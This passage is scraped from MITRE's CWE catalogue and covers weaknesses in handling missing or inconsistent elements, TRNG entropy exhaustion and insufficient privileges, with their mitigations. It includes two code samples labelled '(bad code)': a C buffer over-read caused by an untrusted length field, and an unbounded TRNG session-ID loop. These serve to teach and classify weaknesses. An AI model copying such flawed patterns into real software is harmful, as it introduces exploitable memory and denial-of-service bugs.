For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not handle or incorrectly handles when a particular structural element is not completely specified.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.237Improper Handling of Structural Elements
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity

Technical Impact: Unexpected State

+ Weakness Ordinalities
OrdinalityDescription
Resultant
(where the weakness is typically related to the presence of some other weaknesses)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.993SFP Secondary Cluster: Incorrect Input Handling
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1407Comprehensive Categorization: Improper Neutralization
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

Can be primary to other problems.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERMissing Element Error
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Relationship_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2009-03-10CWE Content TeamMITRE
updated Description, Name
2009-10-29CWE Content TeamMITRE
updated Description
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2013-07-17CWE Content TeamMITRE
updated Type
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Causal_Nature
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Missing Element Error
2009-03-10Failure to Handle Missing Element

CWE-168: Improper Handling of Inconsistent Special Elements

Weakness ID: 168
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not properly handle input in which an inconsistency exists between two or more special characters or reserved words.
+ Extended Description
An example of this problem would be if paired characters appear in the wrong order, or if the special characters are not properly nested.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.228Improper Handling of Syntactically Invalid Structure
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.159Improper Handling of Invalid Use of Special Elements
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.19Data Processing Errors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Availability
Access Control
Non-Repudiation

Technical Impact: DoS: Crash, Exit, or Restart; Bypass Protection Mechanism; Hide Activities

+ Potential Mitigations
Developers should anticipate that inconsistent special elements will be injected/manipulated in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.992SFP Secondary Cluster: Faulty Input Transformation
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1407Comprehensive Categorization: Improper Neutralization
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERInconsistent Special Elements
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description
2009-03-10CWE Content TeamMITRE
updated Relationships
2009-07-27CWE Content TeamMITRE
updated Potential_Mitigations
2010-12-13CWE Content TeamMITRE
updated Name
2011-03-29CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-05-03CWE Content TeamMITRE
updated Potential_Mitigations
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2020-02-24CWE Content TeamMITRE
updated Description, Potential_Mitigations, Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2023-01-31CWE Content TeamMITRE
updated Description, Potential_Mitigations
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Relationships
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Inconsistent Special Elements
2010-12-13Failure to Resolve Inconsistent Special Elements

CWE-240: Improper Handling of Inconsistent Structural Elements

Weakness ID: 240
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not handle or incorrectly handles when two or more structural elements should be consistent, but are not.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.707Improper Neutralization
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.237Improper Handling of Structural Elements
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.130Improper Handling of Length Parameter Inconsistency
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Other

Technical Impact: Varies by Context; Unexpected State

+ Demonstrative Examples

Example 1

In the following C/C++ example the method processMessageFromSocket() will get a message from a socket, placed into a buffer, and will parse the contents of the buffer into a structure that contains the message length and the message body. A for loop is used to copy the message body into a local character string which will be passed to another method for processing.

(bad code)
Example Language:
int processMessageFromSocket(int socket) {
int success;

char buffer[BUFFER_SIZE];
char message[MESSAGE_SIZE];

// get message from socket and store into buffer

//Ignoring possibliity that buffer > BUFFER_SIZE
if (getMessage(socket, buffer, BUFFER_SIZE) > 0) {

// place contents of the buffer into message structure
ExMessage *msg = recastBuffer(buffer);

// copy message body into string for processing
int index;
for (index = 0; index < msg->msgLength; index++) {
message[index] = msg->msgBody[index];
}
message[index] = '\0';

// process message
success = processMessage(message);
}
return success;
}

However, the message length variable from the structure is used as the condition for ending the for loop without validating that the message length variable accurately reflects the length of the message body (CWE-606). This can result in a buffer over-read (CWE-125) by reading from memory beyond the bounds of the buffer if the message length variable indicates a length that is longer than the size of a message body (CWE-130).

+ Observed Examples
ReferenceDescription
Chain: "Heartbleed" bug receives an inconsistent length parameter (CWE-130) enabling an out-of-bounds read (CWE-126), returning memory that could include private cryptographic keys and other sensitive data.
Web application firewall consumes excessive memory when an HTTP request contains a large Content-Length value but no POST data.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.993SFP Secondary Cluster: Incorrect Input Handling
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1407Comprehensive Categorization: Improper Neutralization
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERInconsistent Elements
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-03-10CWE Content TeamMITRE
updated Description, Name
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2013-07-17CWE Content TeamMITRE
updated Type
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Type
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Demonstrative_Examples, Observed_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Inconsistent Elements
2009-03-10Failure to Resolve Inconsistent Elements

CWE-333: Improper Handling of Insufficient Entropy in TRNG

Weakness ID: 333
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
True random number generators (TRNG) generally have a limited source of entropy and therefore can fail or block.
+ Extended Description
The rate at which true random numbers can be generated is limited. It is important that one uses them only when they are needed for security.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.755Improper Handling of Exceptional Conditions
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.331Insufficient Entropy
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1013Encrypt Data
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Availability

Technical Impact: DoS: Crash, Exit, or Restart

A program may crash or block if it runs out of random numbers.
+ Likelihood Of Exploit
Low
+ Demonstrative Examples

Example 1

This code uses a TRNG to generate a unique session id for new connections to a server:

(bad code)
Example Language:
while (1){
if (haveNewConnection()){
if (hwRandom()){
int sessionID = hwRandom();
createNewConnection(sessionID);
} } }

This code does not attempt to limit the number of new connections or make sure the TRNG can successfully generate a new random number. An attacker may be able to create many new connections and exhaust the entropy of the TRNG. The TRNG may then block and cause the program to crash or hang.

+ Potential Mitigations

Phase: Implementation

Rather than failing on a lack of random numbers, it is often preferable to wait for more numbers to be created.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.861The CERT Oracle Secure Coding Standard for Java (2011) Chapter 18 - Miscellaneous (MSC)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.905SFP Primary Cluster: Predictability
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1414Comprehensive Categorization: Randomness
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Maintenance

As of CWE 4.5, terminology related to randomness, entropy, and predictability can vary widely. Within the developer and other communities, "randomness" is used heavily. However, within cryptography, "entropy" is distinct, typically implied as a measurement. There are no commonly-used definitions, even within standards documents and cryptography papers. Future versions of CWE will attempt to define these terms and, if necessary, distinguish between them in ways that are appropriate for different communities but do not reduce the usability of CWE for mapping, understanding, or other scenarios.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPFailure of TRNG
The CERT Oracle Secure Coding Standard for Java (2011)MSC02-JGenerate strong random numbers
+ References
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CLASP
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings
2009-05-27CWE Content TeamMITRE
updated Description, Name
2009-10-29CWE Content TeamMITRE
updated Description, Other_Notes
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Demonstrative_Examples
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Likelihood_of_Exploit, Modes_of_Introduction, Relationships
2019-01-03CWE Content TeamMITRE
updated Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated References, Relationships
2021-07-20CWE Content TeamMITRE
updated Maintenance_Notes
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Relationships
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Failure of TRNG
2009-05-27Failure to Handle Insufficient Entropy in TRNG

CWE-280: Improper Handling of Insufficient Permissions or Privileges

Weakness ID: 280
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not handle or incorrectly handles when it has insufficient privileges to access resources or functionality as specified by their permissions. This may cause it to follow unexpected code paths that may leave the product in an invalid state.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.755Improper Handling of Exceptional Conditions
PeerOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.636Not Failing Securely ('Failing Open')
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.265Privilege Issues
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.275Permission Issues
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1011Authorize Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Other; Alter Execution Logic

+ Observed Examples
ReferenceDescription
Special file system allows attackers to prevent ownership/permission change of certain entries by opening the entries before calling a setuid program.
FTP server places a user in the root directory when the user's permissions prevent access to the their own home directory.
+ Potential Mitigations

Phase: Architecture and Design

Strategy: Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

Phase: Implementation

Always check to see if you have successfully accessed a resource or system functionality, and use proper error handling if it is unsuccessful. Do this even when you are operating in a highly privileged mode, because errors or environmental conditions might still cause a failure. For example, environments with highly granular permissions/privilege models, such as Windows or Linux capabilities, can cause unexpected failures.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.962SFP Secondary Cluster: Unchecked Status Condition
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1348OWASP Top Ten 2021 Category A04:2021 - Insecure Design
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

This can be both primary and resultant. When primary, it can expose a variety of weaknesses because a resource might not have the expected state, and subsequent operations might fail. It is often resultant from Unchecked Error Condition (CWE-391).

Theoretical

Within the context of vulnerability theory, privileges and permissions are two sides of the same coin. Privileges are associated with actors, and permissions are associated with resources. To perform access control, at some point the software makes a decision about whether the actor (and the privileges that have been assigned to that actor) is allowed to access the resource (based on the permissions that have been specified for that resource).

Research Gap

This type of issue is under-studied, since researchers often concentrate on whether an object has too many permissions, instead of not enough. These weaknesses are likely to appear in environments with fine-grained models for permissions and privileges, which can include operating systems and other large-scale software packages. However, even highly simplistic permission/privilege models are likely to contain these issues if the developer has not considered the possibility of access failure.

Maintenance

